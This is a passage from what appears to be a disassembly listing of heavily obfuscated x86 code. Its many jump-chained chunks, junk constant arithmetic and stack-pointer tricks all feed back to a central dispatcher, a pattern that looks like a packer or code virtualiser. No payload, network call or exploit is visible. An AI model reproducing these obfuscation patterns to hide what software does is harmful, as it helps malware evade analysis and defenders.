		jmp	loc_594A9D
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_59799B:				; CODE XREF: sub_591435+2776j
		and	bl, 62h
		xor	bl, 22h
		xor	bl, 93h
		add	al, bl
		pop	ebx
		add	al, 0C3h
		add	al, bl
		jmp	loc_592D52
; ---------------------------------------------------------------------------


loc_5979B0:				; CODE XREF: sdfs____:0058F5D3j
					; sub_591435+198j
		pop	eax
		add	eax, ebx
		pop	ebx
		mov	edx, [esp+8+var_8]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		mov	[esp+0], ecx
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_5979D5:				; CODE XREF: sub_594228-8567j
		push	edi
		mov	edi, 4F33681Dh
		mov	ebx, 90E0EAAh
		xor	ebx, edi
		pop	edi
		add	ebx, 403E55B6h
		xor	ebx, 867BBC69h
		add	ebp, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+0], ebx
		jmp	loc_58FAAB
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_597A00:				; CODE XREF: sdfs____:loc_596A8Dj
		xor	ebx, 3E44105Ah
		inc	ebx
		jl	loc_59224E
		sub	ebx, 34E3FFEAh
		jmp	loc_59630F
; ---------------------------------------------------------------------------


loc_597A18:				; CODE XREF: sdfs____:00595D70j
		add	bl, dh
		pop	edx
		add	bl, al
		push	eax
		mov	al, 26h
		sub	al, 10h
		jmp	loc_58F829
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_597A27:				; CODE XREF: sub_591370-48F0j
		sub	edi, ecx
		pop	ecx
		mov	edx, edi
		pop	edi
		jmp	loc_590428
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_597A32:				; CODE XREF: sub_5941BD-493Bj
					; sdfs____:00594762j
		shr	ebx, 4
		jmp	loc_59380F
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------


loc_597A3A:				; CODE XREF: sdfs____:00591AAEj
		mov	dh, 51h
		push	ebx
		jmp	loc_58C425
; ---------------------------------------------------------------------------


loc_597A42:				; CODE XREF: sdfs____:005909CCj
		pop	ecx
		push	eax
		jmp	loc_59708D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_597A49:				; CODE XREF: sdfs____:0058ECE8j
					; sub_594228-17D4j ...
		add	edi, 106C412Dh
		jmp	loc_58CB58
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_597A54:				; CODE XREF: sdfs____:0058BC49j
		sub	esi, 4F7B3372h
		push	edx
		mov	edx, esi
		push	edx
		add	dword ptr [esp], 7AC04356h
		pop	eax
		sub	eax, 7AC04356h
		jmp	loc_5924E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_597A70:				; CODE XREF: sub_591435-4237j
		sub	al, cl
		pop	ecx
		jmp	loc_58BEA6
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------


loc_597A78:				; CODE XREF: sdfs____:0058BDE8j
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_597A7D:				; CODE XREF: sdfs____:0058E314j
		jz	loc_592F24
		xor	ebx, 3BE0C4F2h
		mov	ecx, ebx
		pop	ebx
		xor	edi, ecx
		jmp	loc_5922C4
; ---------------------------------------------------------------------------


loc_597A93:				; CODE XREF: sdfs____:00594E4Ej
		sub	esp, 4
		mov	[esp], eax
		push	esi
		push	eax
		jmp	loc_594B07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5941BD


loc_597AA0:				; CODE XREF: sub_5941BD-6A49j
		add	esi, edx
		push	edx
		mov	edx, 6EFF5F2Fh
		jmp	loc_58D7CC
; END OF FUNCTION CHUNK	FOR sub_5941BD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591AD9


loc_597AAD:				; CODE XREF: sub_591AD9-471j
		pop	ebp
		add	edi, 4
		xchg	edi, [esp+0]
		jmp	loc_58E65B
; END OF FUNCTION CHUNK	FOR sub_591AD9
; ---------------------------------------------------------------------------


loc_597ABC:				; CODE XREF: sdfs____:00592B37j
		mov	ebp, 27271D4Fh
		neg	ebp
		dec	ebp
		jmp	loc_5983DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592853


loc_597AC9:				; CODE XREF: sub_592853+5E29j
		pop	esi
		sub	ebx, 28207C5Fh
		jmp	loc_596FF6
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_597AD5:				; CODE XREF: sub_5917C0+5324j
		mov	edi, ebp
		mov	ebx, edi
		pop	edi
		mov	ebp, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5912BE
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_597AF3:				; CODE XREF: sub_5987BC-4AD9j
		sub	si, 3AD0h
		pop	ax
		push	ecx
		jmp	sub_590561
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------


loc_597B00:				; CODE XREF: sdfs____:00597825j
		neg	ebx
		shr	ebx, 1
		shl	ebx, 8
		add	ebx, 6FDA53FCh
		push	eax
		mov	eax, 71D9639Eh
		xor	ebx, eax
		pop	eax
		sub	ebx, 8019195Eh
		jmp	loc_58D45D
; ---------------------------------------------------------------------------


loc_597B21:				; CODE XREF: sdfs____:0058C8F3j
		add	esp, 4
		push	39C8h
		mov	[esp], ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		jmp	loc_5922FC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_597B3C:				; CODE XREF: sub_594228-449Bj
		sub	ebp, 3597C875h
		mov	esi, ebp
		pop	ebp
		and	esi, 188902C3h
		jns	loc_595F46
		xor	esi, 68850A1Dh
		jno	loc_59093A
		mov	dl, 0E6h
		pop	ecx


loc_597B60:				; CODE XREF: sub_596F8A-A43Dj
		mov	[esp+1Ah+var_1C+2], ebp
		push	[esp+1Ah+var_18+2]
		pop	ebp
		jmp	loc_592A77
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59369D


loc_597B6D:				; CODE XREF: sub_59369D+31B4j
		add	eax, 0AD66EA48h
		jmp	loc_5925E6
; END OF FUNCTION CHUNK	FOR sub_59369D
; ---------------------------------------------------------------------------


loc_597B77:				; CODE XREF: sdfs____:0059618Cj
		add	dl, 0A7h
		mov	ch, dl
		pop	edx
		xor	ch, bh
		jmp	loc_58BEBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58FE99


loc_597B84:				; CODE XREF: sub_58FE99+5599j
		jg	loc_58C05E
		sub	esi, 389EF025h
		push	27D3h
		mov	[esp+14h+var_14], esi
		mov	edi, [esp+14h+var_14]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+18h+var_18]
		pop	esp
		pop	esi
		xor	eax, edi
		pop	edi
		jmp	loc_5944B6
; END OF FUNCTION CHUNK	FOR sub_58FE99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_597BB4:				; CODE XREF: sub_5917C0:loc_58D0A9j
		neg	ebx
		jmp	loc_58F0AB
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_597BBB:				; CODE XREF: sdfs____:005964E6j
		or	eax, ebp
		pop	ebp
		or	eax, 64CF73E0h
		jmp	loc_593037
; ---------------------------------------------------------------------------


loc_597BC8:				; CODE XREF: sdfs____:00595B09j
		pop	ecx
		pop	dword ptr [esp]
		jmp	loc_58F00F
; ---------------------------------------------------------------------------


loc_597BD1:				; CODE XREF: sdfs____:0058F377j
		add	eax, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_58FA35
; ---------------------------------------------------------------------------


loc_597BE2:				; CODE XREF: sdfs____:005981A1j
		mov	ebx, [esp]
		jmp	loc_59224E
; ---------------------------------------------------------------------------


loc_597BEA:				; CODE XREF: sdfs____:0058CA51j
		xor	ecx, 22FE21E8h
		sub	ecx, 8292D2CCh
		add	ebx, ecx
		pop	ecx
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		push	edx
		jmp	loc_5970EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5962EB


loc_597C12:				; CODE XREF: sub_5962EB-1BFFj
		pop	dx
		pop	cx
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_58CB19
; END OF FUNCTION CHUNK	FOR sub_5962EB
; ---------------------------------------------------------------------------


loc_597C23:				; CODE XREF: sdfs____:0059286Dj
		jmp	loc_590559
; ---------------------------------------------------------------------------


loc_597C28:				; CODE XREF: sdfs____:00593EE2j
		xchg	ecx, ebx
		jmp	loc_592CE8
; ---------------------------------------------------------------------------


loc_597C2F:				; CODE XREF: sdfs____:00597545j
		sub	al, 0BDh
		jmp	loc_592CBD
; ---------------------------------------------------------------------------


loc_597C36:				; CODE XREF: sdfs____:0058C1FDj
		mov	edi, 30A243A8h
		and	edi, 410B1603h
		js	loc_598DDE
		jmp	loc_594B2D
; ---------------------------------------------------------------------------


loc_597C4C:				; CODE XREF: sdfs____:loc_597332j
		neg	esi
		jz	loc_5944B1
		jmp	loc_5902B8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		push	esp
		pop	ecx
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 69BC177Ah
		add	eax, 3B7176E0h
		shl	eax, 8
		xor	eax, 2D8E5A04h
		jmp	loc_58C43E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_597C7D:				; CODE XREF: sub_594228-4DA7j
		sub	ebx, 613D4662h
		add	ebx, 75D86CC3h
		add	ebx, ecx
		sub	ebx, 75D86CC3h
		add	ebx, 613D4662h
		jmp	loc_58E528
; ---------------------------------------------------------------------------


loc_597C9C:				; CODE XREF: sub_594228-74D1j
		or	ecx, 781F4DB7h
		add	ecx, 0C584E73Dh
		jmp	loc_5930CF
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_597CAD:				; CODE XREF: sub_59587A-4A04j
		or	[edi+1Ch], ebp
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------


loc_597CBB:				; CODE XREF: sdfs____:00598300j
		mov	bh, 93h
		sub	ch, bh
		pop	ebx
		push	eax
		jmp	loc_58D969
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_597CC6:				; CODE XREF: sub_5941BD-8238j
					; sub_5987BC:loc_597571j
		mov	ch, ah
		pop	eax
		pop	ebx
		pop	edx
		push	edx
		push	ebx
		mov	bl, ch
		mov	dh, bl
		pop	ebx
		mov	bh, dh
		mov	edx, [esp-8+arg_4]
		add	esp, 4
		pop	ecx
		jmp	loc_58D26E
; END OF FUNCTION CHUNK	FOR sub_5987BC

; =============== S U B	R O U T	I N E =======================================



sub_597CE3	proc near		; CODE XREF: sub_58CDE6+1128j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0058D245 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0058E44E SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00597812 SIZE 0000000B BYTES

		push	ebp
		push	ecx
		mov	ecx, 43CA0401h
		xor	ecx, 39105F07h
		mov	ebp, ecx
		pop	ecx
		sub	ebp, 43D16EB3h
		push	edx
		mov	edx, 78227180h
		add	ebp, edx
		pop	edx
		xchg	ecx, ebp
		neg	ecx
		xchg	ecx, ebp
		or	ebp, 2A323044h
		inc	ebp
		add	ebp, 0B333CAE2h
		xor	ecx, ebp
		pop	ebp
		shr	ecx, 8
		sub	ecx, offset word_627056
		sub	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+0]
		jmp	loc_58D245
sub_597CE3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_597D2C:				; CODE XREF: sub_5985AE-49ECj
		mov	ecx, [esp-8+arg_4]
		jmp	loc_591B08
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_597D34:				; CODE XREF: sdfs____:00593512j
		add	esp, 4
		jmp	loc_58E985
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_597D3F:				; CODE XREF: sub_591435-1849j
		mov	ebp, 1B324D8Ch
		xor	ecx, ebp
		push	[esp+8+var_8]
		jmp	loc_58D779
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590561


loc_597D4E:				; CODE XREF: sub_590561+2FCj
		inc	dx
		shl	dx, 4
		push	si
		jmp	loc_592F7B
; END OF FUNCTION CHUNK	FOR sub_590561
; ---------------------------------------------------------------------------


loc_597D5B:				; CODE XREF: sdfs____:00596052j
		mov	edx, 468D1BBBh
		sub	edx, 0CB5AA081h
		jmp	loc_594EED
; ---------------------------------------------------------------------------


loc_597D6B:				; CODE XREF: sdfs____:00595F41j
		mov	[esp], edx
		mov	edx, 7E217791h
		jmp	loc_594DC7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987BC


loc_597D78:				; CODE XREF: sub_5987BC-11FEj
		push	edx
		mov	dl, 0A0h
		sub	dl, 29h
		mov	ah, dl
		pop	edx
		neg	ah
		and	ah, 50h
		jmp	loc_591B1B
; END OF FUNCTION CHUNK	FOR sub_5987BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_597D8B:				; CODE XREF: sub_5917C0-9F7j
		xor	ebx, ebp
		xor	ebp, ebx
		jmp	loc_5951CD
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592853


loc_597D94:				; CODE XREF: sub_592853-10F5j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_5908AC
		sub	esp, 4
		jmp	loc_598935
; END OF FUNCTION CHUNK	FOR sub_592853
; ---------------------------------------------------------------------------


loc_597DA9:				; CODE XREF: sdfs____:0058E593j
		mov	ax, [esp]
		push	ecx
		jmp	loc_591C50
; ---------------------------------------------------------------------------


loc_597DB3:				; CODE XREF: sdfs____:005965AFj
		mov	esp, [esp]
		jmp	loc_58D6E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58BDAA


loc_597DBB:				; CODE XREF: sub_58BDAA+9j
		pop	ebx
		push	572Dh
		mov	[esp+0], ebp
		jmp	loc_58CC9F
; END OF FUNCTION CHUNK	FOR sub_58BDAA
; ---------------------------------------------------------------------------


loc_597DC9:				; CODE XREF: sdfs____:005947BEj
		mov	edx, esp
		jmp	loc_58ECAD
; ---------------------------------------------------------------------------


loc_597DD0:				; CODE XREF: sdfs____:00593656j
		sub	esi, 140C33CBh
		push	ecx
		mov	ecx, 654F3FC4h
		jmp	loc_58C933
; ---------------------------------------------------------------------------


loc_597DE1:				; CODE XREF: sdfs____:0058DF55j
		xor	eax, ebx
		push	48CEh
		mov	[esp], ecx
		jmp	loc_597655
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_597DF0:				; CODE XREF: sub_59841F-A418j
		inc	ebx
		jle	loc_5961D6
		push	ecx
		jmp	loc_594DC2
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_597DFD:				; CODE XREF: sub_591435+6E1Aj
		push	eax
		jmp	loc_58E243
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_597E03:				; CODE XREF: sub_596736-2782j
		push	281Dh
		mov	[esp+4+var_4], ebx
		push	7D88h
		jmp	loc_59075B
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5BB696


loc_597E15:				; CODE XREF: sub_5BB696-2BC66j
		mov	ebp, 4
		sub	eax, ebp
		pop	ebp
		jmp	loc_58D801
; END OF FUNCTION CHUNK	FOR sub_5BB696
; ---------------------------------------------------------------------------


loc_597E22:				; CODE XREF: sdfs____:00591CCFj
		mov	[esp], esi
		push	4324h
		mov	[esp], edx
		mov	edx, 719289Dh
		add	edx, 0F8E6D765h
		mov	esi, edx
		jmp	loc_5960AD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58EC6C


loc_597E3F:				; CODE XREF: sub_58EC6C+308Dj
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		and	word ptr [esp-4+arg_0],	ax
		pushf
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_58EC6C
; ---------------------------------------------------------------------------


loc_597E4F:				; CODE XREF: sdfs____:0059082Fj
		pop	eax
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		push	eax
		jmp	loc_597070
; ---------------------------------------------------------------------------


loc_597E5E:				; CODE XREF: sdfs____:005973B3j
		pop	ebx
		add	esi, 2
		jmp	loc_594669
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_597E67:				; CODE XREF: sub_591370+134Ej
		push	edi
		mov	edi, 33322D0Dh
		jmp	loc_594290
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_597E72:				; CODE XREF: sdfs____:00590512j
		push	dx
		mov	dl, 87h
		jmp	loc_58CB07
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_597E7B:				; CODE XREF: sub_5917C0-57EAj
		push	4F94h
		jmp	loc_58BE78
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59587A


loc_597E85:				; CODE XREF: sub_58FE3C+19F1j
					; sub_59587A-30DDj
		idiv	cx
		jmp	sub_58DB37
; END OF FUNCTION CHUNK	FOR sub_59587A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_597E8D:				; CODE XREF: sdfs____:00590700j
					; sub_594228-126Cj
		mov	[esp+12h+var_14+2], ecx
		mov	ecx, 369E6683h
		add	esi, ecx
		mov	ecx, [esp+12h+var_14+2]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+16h+var_18+2]
		pop	esp
		push	0
		push	[esp+16h+var_18+2]
		jmp	loc_59563D
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_597EB7:				; CODE XREF: sdfs____:0059163Dj
		add	esp, 4
		push	edx
		mov	edx, 3D315CE9h
		add	eax, 73061090h
		sub	eax, edx
		sub	eax, 73061090h
		push	dword ptr [esp]
		jmp	loc_58F06A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_597ED4:				; CODE XREF: sub_591370-1386j
		mov	ebx, ecx
		pop	ecx
		add	ebx, 7BE64EB2h
		jmp	loc_594E2F
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_596736


loc_597EE2:				; CODE XREF: sub_596736+20E6j
		mov	eax, 1469106Bh
		shl	eax, 8
		neg	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], esi
		mov	esi, 5BEB672Fh
		add	esi, 0E13EB983h
		add	eax, esi
		pop	esi
		shl	eax, 7
		push	1CCh
		jmp	loc_58EA68
; END OF FUNCTION CHUNK	FOR sub_596736
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59841F


loc_597F10:				; CODE XREF: sub_59841F-6D1Dj
		pop	edx
		add	ecx, ebx
		sub	ecx, 30BC2869h
		jmp	loc_598C41
; END OF FUNCTION CHUNK	FOR sub_59841F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591435


loc_597F1E:				; CODE XREF: sub_591435+4595j
		not	edx
		xchg	edx, ebp
		push	5C77h
		mov	[esp+8+var_8], ecx
		push	esi
		push	6F8B10A5h
		pop	esi
		shr	esi, 1
		jz	loc_5937D1
		inc	esi
		jle	loc_5939D3
		xor	esi, 8DCBE173h
		mov	ecx, esi
		pop	esi
		add	ebp, 72E414AEh
		sub	ebp, ecx
		sub	ebp, 72E414AEh
		mov	ecx, [esp+8+var_8]
		jmp	loc_58C418
; ---------------------------------------------------------------------------


loc_597F5F:				; CODE XREF: sub_591435+38C9j
		neg	ecx
		push	ebp
		mov	ebp, 1C2304D8h
		xor	ecx, ebp
		mov	ebp, [esp+1Ch+var_1C]
		add	esp, 4
		xor	ecx, 9CDC7A10h
		jmp	loc_58DBDE
; END OF FUNCTION CHUNK	FOR sub_591435
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	2E2Dh
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xor	edi, [esp]
		jmp	loc_591491
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_58C71E


loc_597F9C:				; CODE XREF: sub_58C71E+47C0j
		xor	eax, [esp-4+arg_0]
		xor	[esp-4+arg_0], eax
		xor	eax, [esp-4+arg_0]
		mov	esp, [esp-4+arg_0]
		mov	[esp-4+arg_0], ecx
		pop	dword ptr [eax]
		jmp	loc_58B9C5
; END OF FUNCTION CHUNK	FOR sub_58C71E
; ---------------------------------------------------------------------------


loc_597FB2:				; CODE XREF: sdfs____:0058C02Dj
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_59687F
; ---------------------------------------------------------------------------


loc_597FBE:				; CODE XREF: sdfs____:005962DCj
		add	eax, esi
		mov	esi, [esp]
		jmp	loc_591EA2
; ---------------------------------------------------------------------------


loc_597FC8:				; CODE XREF: sdfs____:00594B02j
		pop	eax
		jmp	loc_58F68C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_597FCE:				; CODE XREF: sub_591370-5450j
		xchg	eax, esi
		pop	esi
		jmp	loc_596951
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_597FD5:				; CODE XREF: sub_594228-171Fj
		pop	esi
		mov	ebp, edx
		mov	edx, [esp+2+var_4+2]
		add	esp, 4
		or	ebx, ebp
		pop	ebp
		jmp	loc_591597
; ---------------------------------------------------------------------------


loc_597FE9:				; CODE XREF: sub_594228+CC0j
		or	eax, 74D00FC1h
		dec	eax
		shl	eax, 8
		jmp	loc_58BA8C
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------


loc_597FF7:				; CODE XREF: sdfs____:005923B9j
		mov	ecx, esp
		jmp	loc_59340F
; ---------------------------------------------------------------------------


loc_597FFE:				; CODE XREF: sdfs____:00590935j
		and	dl, 0B5h
		jle	loc_593047
		jmp	loc_596F16
; ---------------------------------------------------------------------------


loc_59800C:				; CODE XREF: sdfs____:00591A93j
		push	eax
		mov	eax, 662549BDh
		push	eax
		jmp	loc_596257
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_591370


loc_598018:				; CODE XREF: sub_591370+DEEj
		xor	al, 0BDh
		jmp	loc_58C683
; END OF FUNCTION CHUNK	FOR sub_591370
; ---------------------------------------------------------------------------


loc_59801F:				; CODE XREF: sdfs____:0058FE7Bj
		sub	edi, 742131F8h
		jbe	loc_595F0F
		or	edi, 79374B7Dh
		jmp	loc_598A58
; ---------------------------------------------------------------------------
		push	edx
		mov	edi, ebp


loc_598039:				; CODE XREF: sdfs____:005945D1j
		pop	edx
		sub	eax, 4D7A50ADh
		sub	eax, ecx
		jmp	loc_592745
; ---------------------------------------------------------------------------


loc_598046:				; CODE XREF: sdfs____:00590197j
		not	esi
		push	ecx
		mov	ecx, 1DB11A87h
		add	esi, ecx
		pop	ecx
		and	esi, 5C68469Ah
		jmp	loc_58C68C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594228


loc_59805C:				; CODE XREF: sub_594228-74A4j
					; sdfs____:00596397j
		sub	edx, 3E5D725h
		push	edx
		pop	esi
		mov	edx, [esp+1Eh+var_20+2]
		jmp	loc_598C90
; END OF FUNCTION CHUNK	FOR sub_594228
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5934D7


loc_59806C:				; CODE XREF: sub_5934D7+Bj
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+4+var_4]
		pop	esp
		or	eax, eax
		jz	loc_58D248
		push	dword ptr [edi+1Ch]
		push	esi
		push	1D77469Bh
		jmp	loc_592AC5
; END OF FUNCTION CHUNK	FOR sub_5934D7
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, 4
		add	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5953B4
; ---------------------------------------------------------------------------


loc_5980B5:				; CODE XREF: sdfs____:0058DD3Dj
		mov	ecx, 1826DC6h
		mov	edx, 20439A3Bh
		add	edx, 1380D46h
		sub	edx, ecx
		sub	edx, 1380D46h
		pop	ecx
		sub	edx, 29B566C6h
		sub	edx, eax
		add	edx, 29B566C6h
		pop	eax
		or	[edi+1Ch], edx
		pop	edx
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------


loc_5980E6:				; CODE XREF: sdfs____:00596ABDj
		sub	eax, 546F2820h
		js	loc_58E732
		push	edi
		mov	edi, 0C8DF4975h
		sub	eax, edi
		pop	edi
		pop	eax


loc_5980FB:				; CODE XREF: sdfs____:0058C338j
		push	esi
		push	4
		jmp	loc_59877B
; ---------------------------------------------------------------------------


loc_598106:				; CODE XREF: sdfs____:005911B9j
		add	edx, 4
		jmp	loc_592D09
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590561


loc_598111:				; CODE XREF: sub_590561+73BEj
		sub	ax, si
		mov	esi, [esp+0]
		push	edi
		mov	edi, esp
		jmp	sub_59576E
; END OF FUNCTION CHUNK	FOR sub_590561
; ---------------------------------------------------------------------------


loc_59811F:				; CODE XREF: sdfs____:0058D662j
		mov	[esp], ecx
		push	ebx
		mov	bh, 66h
		push	edx
		push	eax
		jmp	loc_595A37
; ---------------------------------------------------------------------------


loc_59812C:				; CODE XREF: sdfs____:00594113j
		pop	edx
		sub	esi, 527C0FF3h
		xor	esi, 1BD50ED1h
		add	eax, 2E867AF0h
		add	eax, 100442BCh
		add	eax, esi
		sub	eax, 100442BCh
		jmp	loc_590D48
; ---------------------------------------------------------------------------


loc_59814F:				; CODE XREF: sdfs____:00593885j
		add	eax, edi
		pop	edi
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		test	ecx, eax
		pushf
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5917C0


loc_598169:				; CODE XREF: sub_5917C0+31C1j
		add	ecx, 4
		add	ecx, 4
		jmp	loc_590663
; END OF FUNCTION CHUNK	FOR sub_5917C0
; ---------------------------------------------------------------------------


loc_59817A:				; CODE XREF: sdfs____:00595377j
		pop	esp
		jmp	loc_59588D
; ---------------------------------------------------------------------------


loc_598180:				; CODE XREF: sdfs____:0059104Aj
		push	dword ptr [esp]
		pop	esi
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		xchg	eax, [esp]
		pop	esp


loc_598199:				; CODE XREF: sdfs____:005916BBj
		push	ebx
		add	dword ptr [esp], 6A293A1Eh
		jmp	loc_597BE2
; ---------------------------------------------------------------------------


loc_5981A6:				; CODE XREF: sdfs____:005915ACj
					; sdfs____:005949ABj
		pop	edi
		pop	edi
		jmp	loc_58B9C5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5985AE


loc_5981AD:				; CODE XREF: sub_5985AE-6B73j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		add	ebx, 4
		xchg	ebx, [esp-4+arg_0]
		pop	esp
		jmp	loc_5956AB
; END OF FUNCTION CHUNK	FOR sub_5985AE
; ---------------------------------------------------------------------------


loc_5981C1:				; CODE XREF: sdfs____:00592E60j
		xchg	edi, [esp]
		jmp	loc_593C95
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594F18


loc_5981C9:				; CODE XREF: sub_594F18-1EAAj
		add	ebx, 0BFF3E000h
		mov	edi, ebx
		pop	ebx
		and	eax, edi
		mov	edi, [esp-4+arg_0]
		jmp	loc_58BC5C
; END OF FUNCTION CHUNK	FOR sub_594F18
; ---------------------------------------------------------------------------
